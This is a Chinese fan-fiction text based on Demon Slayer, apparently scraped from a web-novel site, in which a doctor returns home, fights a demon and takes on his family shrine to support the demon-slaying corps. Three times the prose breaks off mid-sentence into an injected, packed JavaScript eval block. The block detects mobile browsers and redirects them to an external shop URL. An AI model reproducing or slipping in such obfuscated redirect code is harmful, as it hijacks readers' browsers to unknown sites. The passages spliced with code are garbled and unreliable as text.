《妹妹被黑毛拐跑了怎么办》 1. 第 1 章 明治42年,日本横滨港。 银色长发的青年男子,扶了扶眼镜,倚靠在邮轮上,黑色的风衣随着海风飘扬,勾勒出他略显清瘦的身形。 舟浪漂泊,夜里睡得并不安稳,他的眼下此刻沉淀着青黑的倦意,可眼神却仍是闪闪发亮。 终于回来了。 “终于要回家了清和君,”一旁的朋友笑道:“瞧你这望眼欲穿的样子,家里是有心上人在等吗?” “别乱说,”斋宫清和皱皱眉:“我是在想我妹妹天音呢,去美国读书几年没回家,不知道都长多大了?” 朋友村田倒吸一口凉气:“你妹妹?昨晚排队买的巧克力,和你打工挣下的手表,都是给你妹妹的?” “那当然。”想起天音,清和脸上就露出痴汉笑:“你都不知道她有多可爱。” 独生子的村田自然是无法理解这种妹控了,他怨念地扫了一眼清和,又贱兮兮问:“说起来,你妹妹多大了呀?” “17。” “那差不多该嫁人了哦。” “怎么可能!”清和下意识反驳:“她还是个小姑娘呢。” 邮轮终于靠岸,清和第一个冲下船,朝着人力车招手:“去日吉神社。” 几年未回国,自己都快认不出家乡了。那些曾在大洋彼岸才能看到的新鲜东西,如今竟也出现在这里的街头。男士穿着西装,手提皮包。小姑娘穿上连衣裙和漆皮高跟鞋,若不是熟悉的语言涌入耳膜,自己还以为跌入了另一个平行世界。 不,还是有不变的东西的。 清和放下行李,看着眼前从出生起就没有变过模样的神社。 “我回来了。” 父亲泰祀翻着报纸,对他点了点头:“医科大学顺利毕业了?” “那当然,”清和掏出毕业证:“我早就说过了,只要我感兴趣的事,我一定能把它做好!” 泰祀不置可否:“知道了,这样你妹妹嫁人也就安心了,好歹你能找个正经工作了。” “砰”一声,清和正打算喝杯茶,听到这个消息,茶壶应声倒地,摔了个粉碎。 什么?! “什么?天音要嫁人了?这么小,嫁给谁啊?” “产屋敷家族的少主,耀哉。”泰祀提醒道:“你留学前还见过他呢。” 清和皱了皱眉,努力搜寻回忆,半晌才有了印象:“见过是见过,但——” 两家有过联姻,自己在婚礼上远远见过他一面,那不过是个瘦弱的小豆丁,还穿着女士和服,听说是因为家族男子体弱多病,在成年前都作为女孩养大,这样的人,怎么能相信他能保护好自己妹妹? “不行,我不同意。”清和坚决摇头反对:“就按我说的,让妹妹来继承神社,我对神学不感兴趣,让她去做更好,她也能找到更强健的,更配他的男人。我不知道家族联姻的传统是为何,但不能以牺牲妹妹的幸福为代价——” “她愿意的。”泰祀打断他的话。 怎么可能? 清和惊讶地睁大眼,天音出落得那么美,十里八乡都有名,什么样的好男人找不到? 一定是那个叫耀哉的家伙,他蛊惑了妹妹,自己可不能放任这种荒唐事继续下去! 清和握紧了拳头,“砰”地一声捶开门,朝着父亲提供的地址狂奔而去。 一切都太不对劲了,明明自己买了最早的轮渡赶回来,就是想让天音尝尝美国巧克力的味道,还有一支银白色的机械手表,小巧精致,和妹妹纤细的手腕很是相配。波旁威士忌的话,就不能给她喝了,毕竟年龄太小。当然,如果她软声央求几句,自己怕是得败下阵来,只能背着父母偷偷留给她一小杯。 自己妹妹向来是个有主见的,那些枯燥的祷文,她小小年纪便能沉下心来诵读,并且过目不忘。明明身体并不强健,却也能坚持着完成瀑布中的净身仪式,任由冰冷的泉水流过。她一向这样,只要想做,便毫无保留地做到极致。 清和则像是整齐的草丛中旁逸斜出的竹子,向着与家人相反的方向肆意生长。他对家族的神学传承兴趣淡淡,反倒是对生命科学充满兴趣,比起宗教神学对人的抚慰,他更喜欢定量的药剂和手术对人体的治愈。 只是,面对父母的期待,他也会怀疑自己,这种选择真的对吗? 临近高中毕业,这种不安愈发躁动,如果做错了怎么办?如果家族的传承在他这里断了代怎么办?如果—— “哥哥。” 那是一个初夏的夜晚,清和和泰祀聊完大学选科的事情,正烦闷地踢着庭院的石子,一转头,天音端着茶杯走了过来。 “怎么还没睡?”清和习惯性地唠叨起来:“还没到夏天呢,晚上凉,你快回去休息。” 天音摇摇头,执拗地挨着他坐下,把茶杯递给他:“我也睡不着,喝点水吧。” 清和也听话坐好。 “哥哥是在烦恼专业的问题吗?” 清和点点头,面对着妹妹难得有些羞赧:“很不帅气吧,为了这种事情反复纠结,我应该负起家族的责任才对。” 说罢,他拿起茶杯一饮而尽。 等等,这口感怎么不对,绵密,充满泡沫,还隐隐有些上头,这是,啤酒? 清和猛地盯着天音的茶杯,那她也? “放心吧,我这杯是茶水,啤酒是我在你房间找到的,我想,你今晚应该会需要这个。”天音低头笑笑,像是做了一个了不得的恶作剧,眼睛亮亮的,满是狡黠。 清和难得看到天音这副生动模样,自从她要求学习神社事务以来,性子越来越沉稳了。 没错,自己不该把这种责任压在妹妹的头上,清和下了决定。 “哥哥就去做想做的事情吧。”天音的话突然响起在他耳边。 “嗯?” “哥哥是想做医学研究的不是吗?桌上的医科大学资料密密麻麻全是笔记,如果就此放弃的话,会很不甘心的吧。” “可是——” “爸爸妈妈那边,我会帮忙劝说的,神社的继承应该让真心愿意的人去做才最合适,一心勉强自己,只会适得其反的。” 清和不由反驳起来:“可这是一种责任,作为长子岂能轻易逃避呢?你这么瘦弱,那些祭祀的事宜太耗费心力了,我担心你。” 天音摇摇头:“我是真心喜欢这些,所以不觉得辛苦,况且家族中也不是没其他人了,总会有最合适的人选。哥哥,我不希望你以牺牲自己的热爱为代价,违心做事的人,神明也不会祝福的。” 她握紧住清和的手,清和的眼眶有些湿润,那个自己一直保护着的妹妹,也有照顾别人的能力了。 蹙了蹙眉,半晌,清和喃喃道:“可我不太确定自己的选择是否正确,我真的,能做好吗?” “当然,”天音鼓励道:“你一定可以的。” “我对你有信心。” 飘洋过海,只身一人来到约翰·霍普金斯大学医学院,清和因为肤色和口音的问题,不知被同学嘲笑了多少次。但他并不以为意,沉浸在医学的宽广世界里。 这里汇聚了全球医学教育最先进的研究成果,清和废寝忘食,抠着字典将晦涩的名词啃下,消化,常常一坐就到了天明。他第一次接触临床病人,第一次解剖病理样本,第一次了解疾病背后的科学原理,而非症状和药方的简单组合。这些与在日本学习时截然不同的体验让他困惑,更让他兴奋。 疲惫时,清和会拿出家里的信反复看看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17368586|199847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,父母虽不能完全理解他的决定,却也忧心他在大洋的另一边适不适应。妹妹则分享着自己的经历,她在大自然中的静寂训练,她又学会了一种祭祀的仪式,她梦里模糊的预知出现。 毕业前的最后一封来信里,天音说有很重要的事情要跟他讲,等他回来。 所以,就是和那个病弱家伙结婚的这件事吗? 另一边的产屋敷宅邸,耀哉轻咳了两声,面色泛着病态的潮红,不知是因为身体虚弱,还是婚事将近的激动。 他自小便知,他们一族背负着复仇的使命,太沉重了,把爱情一类的词汇都重重压在巨石底下。 直到天音的出现,就像巨石被敲开了裂缝,让他得以看见爱情最本真的样子。 耀哉在房间踱步,议亲的流程已走得差不多,两边的长辈也都见了面,只剩下—— “砰”一声,居室玄关的布门被一只拳头破开窟窿,手上的青筋清晰可见。 ——天音的兄长,斋宫清和。 太弱了。 清和嫌弃地看着他苍白的脸色,怎么比印象中更消瘦了? 耀哉平静地递来茶杯,丝毫没被他粗鲁的举动惊扰,指节白得近乎透明,泛着淡淡的青。 自己妹妹究竟是怎么想的? 清和本计划着和对方打一架出出气,可眼前这家伙,别说打架了,怕是挨上自己一拳都够呛。 心里憋屈,清和犹豫着怎么开口。 “您是想让天音拒绝这桩婚事吧?”耀哉微笑道。 清和一惊,你都知道了? “从您的气息中我能感受到这些,而且天音和我讲过您有多疼爱她。” “既然你都知道了,那我就不绕弯子了,我认为你没法带给她幸福。”清和强势回复:“恕我直言,你的健康问题让我担忧。” 耀哉的笑容未减,丝毫没有被冒犯的怒意。清和看着他的眼睛,竟然从里面读到了一丝宽容,和—— 悲悯? “我曾向天音小姐提议过此事,虽是家族联姻,但我完全尊重她的决定。”耀哉说完这番话,便不再言语。 什么? 清和把他的话放在脑子里来回转了转,即使对方给了选择,自己妹妹也要嫁给他吗? 图什么? “我想,她应该会亲自和您解释的。” 话音刚落,房门又被打开,露出天音气喘吁吁的脸。 “哥!” “那你们兄妹二人好好叙叙旧,我就先不打扰了。”耀哉点头致意,起身离开房间。 清和心疼地看着天音:“怎么瘦了这么多?神官训练很辛苦吧。” 天音靠在他身上,摇摇头:“不辛苦,倒是哥哥你,脸都黑了不少,在外一个人肯定不容易。” 清和挠挠头:“脸是因为户外运动才晒黑的,美国那里都追求这种小麦色呢,代表着健康。停停停,话题又扯远了。” “我听那小子的意思,这婚事是你自己同意的?我可不答应啊,你是怎么想的?” “天底下好男人多的是,怎么就着急看上他了?要是日本没有合适的,我还有几个留学时认识的同学,长得帅的,身材好的,家里也富裕,你要不再想想呢?这就跟我回家,我给你看看照片。” 说罢,他就要拉起天音离开。 天音却没动,只是又唤了声:“哥哥。” “我决定好了,这就是我想要过的人生。” “为什么?”清和不解。 天音把清和按下坐好,认真道:“他对我很好,很尊重我的意见,更重要的是,我意识到了自己的使命所在。” “使命?什么使命?” “你知道,这个世界是有鬼的吗?” 2. 第 2 章 “知道啊。”清和点点头,但那不都是传说吗? 宅邸前后种植的紫藤花,天黑时分不要随意外出,桩桩件件都是对鬼怪之事的敬畏。他们神官一族更习惯称其为“祸”与“秽”,通过神职之力进行净化。 “你去留学后,父母教会了我更多神职的知识,也告诉了关于鬼怪的真相。鬼是真实存在的,他们通过吃人来提升能力,残害生灵,耀哉君一族便是专职于灭鬼的,他身体虚弱也是因为鬼的诅咒。” “而与我们的联姻,也是为了延缓发病,传承血脉。” 清和听得越来越迷糊,这都是什么?鬼是真实存在的?那些传说都是真的?那为什么从没听官方提起过? “你和我来吧。”天音牵起清和的手,朝着宅院外走去。 阳光正好,照在脸上隐隐发烫。两人走至宅邸不远处,是青山下的一片坟场,上面密密麻麻的全是墓碑。 “这是?”清和心里有了猜测。 “是自战国以来,牺牲的鬼杀队队员坟地。”一旁的耀哉抚摸着墓碑上的名字。 这大的望不到头的坟冢,全是被鬼杀害的剑士?清和惊讶不已,他看了眼最近的墓碑,死者是三天前牺牲的,才十五岁。 “我说的不准确,”耀哉更正道:“这只是其中一部分,还有大量的队员被鬼吞噬,连尸体都寻不回了。” 天音点点头:“哥哥,这是一项自战国以来的灭鬼事业,数千年来,无数剑士为此牺牲,却也因此拯救了无数个被恶鬼侵扰的无辜家庭,加入其中,是我的使命。” 清和从震撼中回过神来,刚才一瞬间,他的眼前仿佛出现了战死剑士的身影,伤痕累累,仍冲他微笑致意,是幻觉吗? “我们一周后就要结婚了,之后我会搬到耀哉真正的宅邸,那里更隐蔽,防止被鬼发现。” “我不同意!”清和反握住天音的手:“这么多墓碑,还不能说明问题吗?妹妹,你难道没看出来这有多危险?” “我已经决定了,父母也同意了。哥哥,如果人人都因为怕险而逃避,那鬼怪之害就永无宁日。” 那是他们当天最后的对话。 清和依然强烈反对,可妹妹就是铁了心一般,对他的劝阻不闻不问,只准备起婚礼的相关事宜,连他送来的礼物都没多看一眼。 清和也生了气,就这样单方面搞起了冷战。 这天夜里,他偷偷跟在天音的车队后面,轻声冷哼。 真是的,明明知道鬼会在夜晚出来作乱,还一定要连夜赶路主持童年好友的婚礼,自己这做哥哥的哪能放手不管?也不知道这些保镖行不行。 他小心地藏在墙角,毕竟还在冷战呢,可不能被发现。 车上的天音抿了抿唇,掩住笑意。 快到港口了,他们要搭船连夜赶往横滨。 海风阵阵,风中带来一丝血腥味。 不对! 天音示意车队停下,皱起眉头。 哭喊声越来越清晰了,船工高举着火把,想驱退眼前的“怪物”。 那本是他们的船长,今天是发工钱的日子,这次出海收获颇丰,本该是人人欢喜的好时辰,大家早就点好了篝火,等发完工钱热闹热闹。 可突然间,一切都变了。 下午,船长海部彻说身体不大舒服,回房间休息,然后再也没出门。入了夜,黑岩铁也把准备好的饭食放在他门口,还是放心不下,就打开门看了眼。 这一看就坏了事。 月光下,眼前的“船长”不断膨胀着身体,目光血红,无数触手从他的后背冒了出来。 看到自己,“他”更兴奋了,嘴里发出“咿咿呀呀”的怪叫,嘴中淌出涎液,这是在流口水? 是寄生虫吗?还是突发了疾病?铁也直觉危险,想逃跑,双腿却不听使唤抖个不停。 “救——” 刚喊出一个字,两条触手袭至眼前。 只剩下打碎的餐盒散落在门边,氤氲着热气。 鬼化的彻将尸体囫囵吞进肚,那种饥饿感消减了些。 “还不够,还不够。”他打开门,此刻的他只有脸还依稀可辨出人样,身体化成烂泥似的形状,无数条触手向外探去,他跟着滑出门,门外有他需要的“食物”。 另一边,久久不见两人回来的船员们担心地擎着火把前来,有人还带了枪,怕是什么海物来犯。 看到鬼化的彻,众人皆睁大眼怔住。 “这是什么怪物?”有人自语。 更有些害怕的,大叫着“妖怪”!然后,尖叫声顷刻间消失,低下头看去,只见触手穿破喉咙,鲜血入驻。 “好吵。”彻不耐烦:“安心做食物不好吗?” 此刻,眼前一片狼藉,恶鬼像是吃饱了的猫,逗弄着挥刀抵抗的船员。触手一条一条打过去,不致命,却平添几道伤痕。 见到天音一行人,对方提起兴致,细细端详了一番:“神官?长得倒不错。” 清和也顾不得冷战不冷战了,一个猛子跳出来,把天音护在身后。 “别动我妹妹!” “还想逞英雄?那就看看自己够不够格吧。”话音刚落,两条触手迎面扫来,带着疾厉的劲风! 清和招呼保镖护送天音离开,自己抄起他的剑抵挡攻击,顺势斜砍下触手,大量粘液从断口处喷出来,清和躲闪不及,沾上了几滴。 好臭! 清和退至集装箱后,被液体溅到的部分立刻溃烂出血,带着灼伤般的痛。 彻被砍下的触手立刻恢复,挥动着身体把碍眼的集装箱扫开,欣赏着清和左躲右闪的狼狈样:“不好受吧?”他得意道:“我的□□有毒,会从皮肤侵入你体内,不久你就会晕眩倒地。” 大意了,清和狼狈躲开攻击,这就是鬼的实力吗? 他看了眼旁边倒下的剑士,只刚才一击,就有三名同伴殒命。 来不及细想,触手攻击又来了,清和跑慢了一步,被紧紧缠绕起来,带至海部彻面前。 它吐出的气息带着腐臭,熏得直让人作呕:“乖一点,不要再挣扎了,别想着逃跑了。” 触手又勒紧了,清和只觉得胸腔快要被挤爆,连呼吸带着血腥味。 “哥哥!” 远处的天音挣脱开保镖,跑了过来。 海部彻的触手轻轻一挥,便将她扫回原地。 “一个一个来,你们兄妹二人很快就能在另一个世界团聚了。” 清和目眦欲裂,看着天音被打出的伤痕。 这样下去不行,快想办法! 可这里到处都是集装箱,没有可以用来反攻的东西。 等等,集装箱? 清和凝滞住目光,又仔细看了眼箱子上的标志,那个红色的是,炸药? 有了! 清和深吸一口气,绷紧浑身肌肉,用尽全力握住刀把向上砍去。 几道剑影闪过,清和摔倒在集装箱上,只觉得浑身散了架,来不及处理伤口,纵身一跃避开攻击,身后的集装箱被击个稀碎,大量黑色粉末散了出来,飘在空中,满是硫磺的味道。 清和绕着海部彻四周奔袭,却不主动发起攻击,偶尔几次挥刀也只是砍到了箱子上,粉末越积越多。 海部彻得意大笑:“怎么了?你刚刚的气势哪去了?现在连进攻都对不准了吗?” 清和没理会它的挑衅,只是专注于自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17368587|199847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计划。一刀,又一刀,再加上海部彻损坏的箱子,够了! 他绕至船员的尸体前,火把还没熄灭,清和随手拿了左右手齐发,奋力将火把扔至海部彻身边。 火药的浓度已经很高了,一点火星便足以引发爆炸,海部彻这才明白清和用意,不可思议地大喊:“你,你竟然——”、 “轰!” 爆炸声一浪高过一浪,海部彻尖利的叫声响彻整个夜空,它挥动着触手,却打不灭越来越旺的火势,整个人,不对,整个鬼被烈火环绕,全身烧焦。 清和抱着小孩从火场中飞出来,他调转方向,让自己的背部重重着地。 就在扔出火把的前一刻,清和看到,在集装箱后,还有个小孩躲在那里瑟瑟发抖。 身体比大脑先反应过来,清和朝反方向一蹬,紧紧抱住小孩,然后顺着爆炸的冲击波飞出,这一刻,他只觉得自己的五脏六腑都要颠出来了。 “你没事吧?”他艰难睁开眼,问道。 小孩好像吓呆了般不会说话,只是把怀中的被子掖了掖。 突然,他张大嘴,一手指着身后:“怪物,怪物又来了。” 清和浑身一震,一阵寒意袭来,他僵硬地转过头。 “我说,老老实实受死不好吗?炸药很痛啊!你这回真是惹恼我了,受死吧!” 触手铺天盖地袭来,清和闭上眼,他已经无力再动了。 “水之呼吸,贰之型:水车!” 什么声音? 预想中的痛苦没来,眼前如海水般流畅的剑法把所有触手击碎。 清和艰难地睁开眼,只看见对方背影,黑色的制服,上面大大一个“灭”字。 鬼杀队的? “辛苦了,接下来交给我。”很温柔的声音,却带着让人安心的力量。 只见对方又跃起,朝着痛得浑身乱滚的鬼怪攻去,手起刀落,头颅落地,在夜色中渐渐化为灰烬。 结束了,清和意识到,疼痛后知后觉袭来。 天音扑进他怀中:“哥哥!” “我没事。”清和嘶了口气,伸出手摸摸她的头。 一旁的小孩好像才反应过来,“哇”得一声哭出来,边哭边道谢:“谢谢,我和妹妹谢谢你们!” 妹妹? 清和捕捉到关键词,他看向小孩怀中的襁褓,鬼杀队的后勤组上前接过,探了探气息,摇摇头:“来不及了。” 小孩一怔,哭得更是撕心裂肺,却还是不停点头抽噎着感谢。 清和心下一沉,还是来晚了吗? 他紧紧握住天音的手,如果没有鬼杀队相助,那他们也—— 不敢细想。 众人被送至就近病房,天音伤势较轻,她担心着替清和擦拭伤口。 “对不起。”两人同时开口。 “是我的错,明明你才是承担责任的人,我却还幼稚的和你搞冷战。”清和释然地笑笑:“如果不是今晚,我也不会知道恶鬼残害起人命来如此毫无顾忌,我又怎么能因为一己私欲阻止你的追求呢?” 天音瞬时红了眼眶:“我知道的,你都是为我着想。只是我也有自己想要做的事。” “去做吧,我支持你。”清和伸出缠满绷带的手,擦干她眼角的泪滴:“就像你当初对我说的一样。” “我对你有信心。” 天大亮,耀哉赶至医院。 他已经很久没出过宅邸了,爬上楼,进了房间,身上已经薄薄得出了一层汗,脸上满是病态的红晕。 “我同意了,这桩婚事。”清和淡淡道。 他又嫌弃地看了一眼对方虚弱喘气的模样。 “只是,我有一个要求。” 3. 第 3 章 “我知道了。”耀哉点头答应:“我会配合,只是我对效果存疑,毕竟这是千年来的血脉诅咒。” “你照做就是了。”面对着他,清和还是不太能控制住自己的脾气:“等我伤势好些了,就带我去蝶屋看看吧,总能有方法减缓病发的,你这副样子我实在是放心不下。” “让您费心了。” 清和不耐烦地摆摆手:“行了,也别在这呆着了,趁着在医院,把你的血液报告做好发给我,然后回家好好休息吧。” 耀哉称是,又吩咐队员照顾好清和,这才离开病房。 门外,天音上前问道:“怎么样,没为难你吧?” “你哥哥对我很好,不必担心。”耀哉笑着回握住天音的手:“他是一个很温柔的人。” 温柔吗? 天音想起这几天哥哥对着未婚夫吹胡子瞪眼的样子,表情石化。 耀哉不再多言,又透过窗口,看了眼躺在病床上的清和。 是的,因为看到自己身体不适,才赶着让他回家休息的吧? “希望这会是一个改变的契机。” 清和的身体底子不错,送医又及时,没几天恢复如初。 只是—— 他皱眉看着耀哉的分析报告,这都是什么? 指标都没几个正常的,血红蛋白浓度远低于常人范围,免疫细胞活性也低得不可思议,这种指数,身体无时无刻都承受着疼痛与折磨,他竟能硬撑着活到现在。 清和叹了口气,这条帮助未来妹夫的康复之路,任重道远啊。 耀哉情况又特殊,行踪需严格保密,不能时常出现在医院,只能先去鬼杀队的蝶屋看看有没有办法了。 说到蝶屋—— 清和一边听着蝴蝶忍的介绍,一边看着来来回回的忙碌景象,心下惊叹,还挺像那么回事的。 虽然条件不能和正规医院相比,但环境灭菌处理,药剂制作提取,哪怕简单的外科手术操作都井井有条,甚至连显微镜等设备都很齐全,远超他的预期了。 还以为是个草台班子呢。 “又有十名伤员送到!有三名重伤者,急需处理!”隐队员急匆匆上前报告。 “我知道了。”蝴蝶忍点点头,歉意地冲着他道:“不好意思清和先生——” “我也去帮忙吧。”自从那晚,清和就对鬼杀队改观不少。 来到病房,三名重伤者已被剥除衣物,昏迷着躺在床上,身上全是大大小小的创口,最严重的一个人腹部破开,虽用绷带勉强缠住,仍有血液源源不断地涌出来。 清和带好口罩和医用手套,对一旁的隐队员吩咐道:“把缝合针,镊子,和医用剪刀拿来。” “诶?好的。” 清和小心地剪开绷带,伤口很深,体内肠道因发炎而粘连。 竟然受了这么重的伤?看起来也不过是个小孩子啊。 抛下纷繁的思绪,眼下尽快处理好伤口要紧。 清和有条不紊地进行操作,清创、消毒、缝合、包扎,半小时后全部处理完毕。 “好了。”擦了擦额头的汗珠,清和又马不停蹄投入到下一个病患的收治工作中。 等全部忙完,已是日暮。 “真是太感谢清和先生了!今天要不是您的帮助,我们是没法这么及时处理伤患的。”蝴蝶忍温柔地连连道谢,其他医疗队员也激动地簇拥着他。 清和脸红:“我只是做了我该做的事,倒是那些鬼杀队员们,明明年龄还没我大,却为了保护人类的目标身负重伤,才是让我敬佩呢。” “这是刚做好的长崎蛋糕,您忙活了这么久,一定饿了吧。”一名队员送上餐盘。 清和接过,用勺子挖了一口,立刻眯起了眼。 五蚂蚁! 昏迷的队员山本千代此刻也醒了过来,撑起身子想要道谢。 “你这伤口刚缝上,别乱动。”清和忙按住他:“好好休息,手术很成功,恢复好的话连疤都不会留下。” “能活下来就好了,疤痕又有什么要紧呢?”千代眼睛亮亮的,很是兴奋:“这次的鬼是我亲手斩下的,我终于为家人报仇了!” 她的语调带了些哽咽,清和不擅安慰人,忙起身:“我去厨房有没有适合你吃的流食,吃点东西补充体力。” 蝴蝶忍几步赶上:“等等我清和先生!” 走在过道,蝴蝶忍和他讲起千代的身世。 她出生在普通的农户家,一家五口虽然清贫,但相互扶持,日子总是过得下去。 直到鬼的出现打破这一切,她的父母,弟弟全都被闯入家中的恶鬼咬碎,自己睡在最里间,所以一开始没被发现。 后来还是蝴蝶忍赶到,杀死了恶鬼,只是可惜领头的那只鬼像是嗅到了危险,提前逃跑了。 她一直记得那只恶鬼的样子。 加入鬼杀队后,千代一直是最努力的那一批,出任务时,也总是冲在最前面。 “我不想再有人经受和我一样的痛苦了。”她如是说道。 直到昨晚,她终于找到了记忆中的那只鬼。它的气息更强大了,看来这段时间没少吃人。 千代一向是安静的,那一刻却再也抑制不住内心的恨意,怒吼着纵身一跃。 鬼的速度变快了,伸出的尖刺一瞬间就捅穿了她的肚子。 千代只闷哼一声,砍断尖刺,不管不顾继续飞身至前,用尽最大的力气砍断恶鬼头颅。 “我终于,成功了。”说完,她就闭上了眼。 清和心里很不是滋味,这孩子,比自己妹妹还小两岁,本该是最无忧无虑的年纪,却在一夕之间被恶鬼夺去了所有。若是普通家庭的女孩,这时候本应爱美的打扮自己,或是有了第一个喜欢的人。而她的生命里,却只留下活着与与复仇。 多让人可憎的鬼怪! 回到家,清和仍翻来覆去睡不着觉,以前不知道也就罢了,如今知道了,自己又能做些什么? “最近老看你往出跑,如今这毕业了,就没有什么工作的想法?”泰祀边吃着早餐便问道。 清和摇摇头:“还没想好。” “当初朝着要去学医,现在学成回来怎么又犹豫了?你这学历多少医院抢着要呢。”泰祀撇撇嘴:“我看你就是没个定性,赶紧相亲,工作,安顿下来,这才是第一要事。你妹妹和耀哉的事情都定好了,用不着你瞎操心。” “知道了,我会好好考虑的。” 不知不觉间,清和又走到了蝶屋。伤员正在院落做着康复训练,一派生气勃勃的样子。 真好。 “清和先生,你又来了!”蝴蝶忍冲他挥挥手:“关于你提到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17368588|199847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的治疗方案,我有些思路和您聊聊?” 两人来到资料室,研究起耀哉的病理数据。 “您提到的激素调节,我认为是可行的,主公的代谢功能低下,通过低剂量的甲状腺提取物注射应该有所改善。” 清和点点头:“针对他身上的皮肤病变,我想可以引入放射疗法,看是否可以抑制增生进展。” 他又叹了口气:“只是,这些都是治标不治本的,还是要从源头止住疾病恶化,我们现在能做的太少了。” 蝴蝶忍温柔地笑笑:“不要着急,清和先生。您已经帮助我们很多了。” 还不够,清和想。 又有一批伤员被送来了,两人匆匆赶至病房开始救治。 幸好,这批伤员都不严重。包扎好伤口,大家围坐在一起聊天,听着他们讲述这次杀鬼经历。 “这次任务很麻烦,因为在城内,到处都不让带刀。”古川抱怨道:“我只能先把日轮刀藏在宾馆内,再出门寻找线索,发现了鬼都没法第一时间斩杀,白白浪费时间。” 一旁的渡边撇了撇嘴:“没办法,谁让我们不被官方承认呢?政府对我们的存在一直很抵触,简直是认为增加我们出任务的难度。” 不被承认吗?清和若有所思。 “我还听说,城主小野寺弘先生正考虑限制鬼杀队进城的人数和频次,说是担心对社会治安造成影响。” “唉,明明是做好事,却不招人待见。” “也别这么说,每次看到被救下的人冲着我们感谢,我心里还是很有成就感的,总会有人记得我们的好不是吗?” “也是。” 清和沉默着做完检查,嘱咐好注意事项,然后起身告辞。 “谢谢您,清和先生!”大家冲着他挥挥手。 心里的焦躁,在这一刻有了出口。 清和握紧拳,做出决定。 “你想好了?”泰祀惊讶:“你不是学了那么多年医吗?怎么又要继承神社了?” “我想好了。”清和直直地跪坐好:“这是我应该承担的责任。” “你能想通最好,不过,走上这条路,可就不能后悔了。” 清和点头。 这是他能做到最能帮助鬼杀队灭鬼的事情了。 蝶屋那边,有蝴蝶忍等人和他一起研究药理,不需要自己时时刻刻待着。反倒是今天鬼杀队员的抱怨给了他思路。 那么多还是孩子的人,和自己妹妹年龄差不多的人,为了天下无鬼的愿景前赴后继,自己是无法带刀上阵了,但自己有自己不可替代的作用。 利用神社的影响力,来疏通官员的关系,给鬼杀队行政上的帮助,这是他能想到的,最好的办法了。 他也应该,承担起自己的责任了。 “哥哥。”天音听了此事急匆匆赶回家:“怎么突然又要继承神社了?你不是不喜欢这些吗?” 清和看着妹妹的脸庞,明明才出嫁没多久,她的气质却成熟了不少,想来也是,要辅助耀哉管理那么庞大的队伍,一定很辛苦吧。 但她一次都没抱怨过。 清和释然笑笑:“别担心,我已经做好决定了。我也有我要走的路。” “天音。”清和的语气难得郑重。 “我们一起,去创造没有鬼的世界吧。” 4. 第 4 章 这是清和第五次叹气了。 “好好表现!”父亲泰祀敲了敲他的脑壳:“不是说要继承神社?最简单的人情往来都做不得?” “不是做不得,”清和揉揉脑袋:“只是还不太适应,我会尽快习惯的。” “知道就好,浅草神社的七五三参拜临近,神社的官司——浦野先生和我是幼年好友,邀请我们前去参观交流,你也趁此机会多学习些大型祭祀的仪式流程。” 清和抠了抠耳朵,漫不经心地答应着。 唉,好讨厌和人打交道啊,果然还是握着手术刀自己更自在呢。 已是暮秋,浅草寺街道依然热闹非凡,路上早早挂好了招牌亮起灯,和此时的夕阳相映成趣。游客门熙熙攘攘聚集着欣赏风景,多是拖家带口前来游玩的,一种名为幸福的气息弥漫在街巷,让每个踏入此地的脸上都挂起笑容。 这时,若有人哭丧着脸,再配以失魂落魄的语调呢喃着路过,便很难不引起人注意。 清和看着不小心撞上自己车辇后摔倒的陌生男子,皱了皱眉。 熟悉的血腥味,这个人受伤了? 清和忙吩咐人拦下对方,又拿出座位下的医药箱,掀起陌生男子的衣服,只见他腰腹上全是尖利的伤痕,还不断有鲜血冒出,应是被野兽抓咬留下的。 “你是谁?怎么受了伤?”清和一边替他包扎伤口,一边询问其状况。 对方却仍是目无焦距的呆愣样,只是不断重复着“见鬼了,见鬼了。松子小姐,松子小姐。”之类的话,说罢,便因失血过多晕了过去。 这里,有鬼? 自从了解了鬼杀队的事,清和便对“鬼”字异常敏感。 泰祀也下了车,皱了皱眉:“他伤得严重吗?先送去医院吧,神社那边我去解释,你处理好了再过来。” “好。” 看着躺在病床上昏迷不醒的松田,清和叹了口气。虽然从他身份证件中得知了名字,但其他有用信息全都没有,松子小姐是谁?鬼又在哪里?满腹的疑问等着回答。 正发愁着,一张小票从松田的钱夹缝隙处飘落下来。 清和捡起一看,是附近一家名叫清野旅馆的入住须知单。 有线索了! 清和忙赶过去。 “他们是一对情侣来旅游的,昨晚入住我们旅店,可今天等我们查验退房时,却发现女方不见了踪影,而松田先生则满身是血,说什么也不回应。”老板吉野回忆道:“我们把他送往医院,还报了警,后续发生的事情我们就不知情了。” “昨晚就没有什么奇怪的声音,或是事情发生吗?” 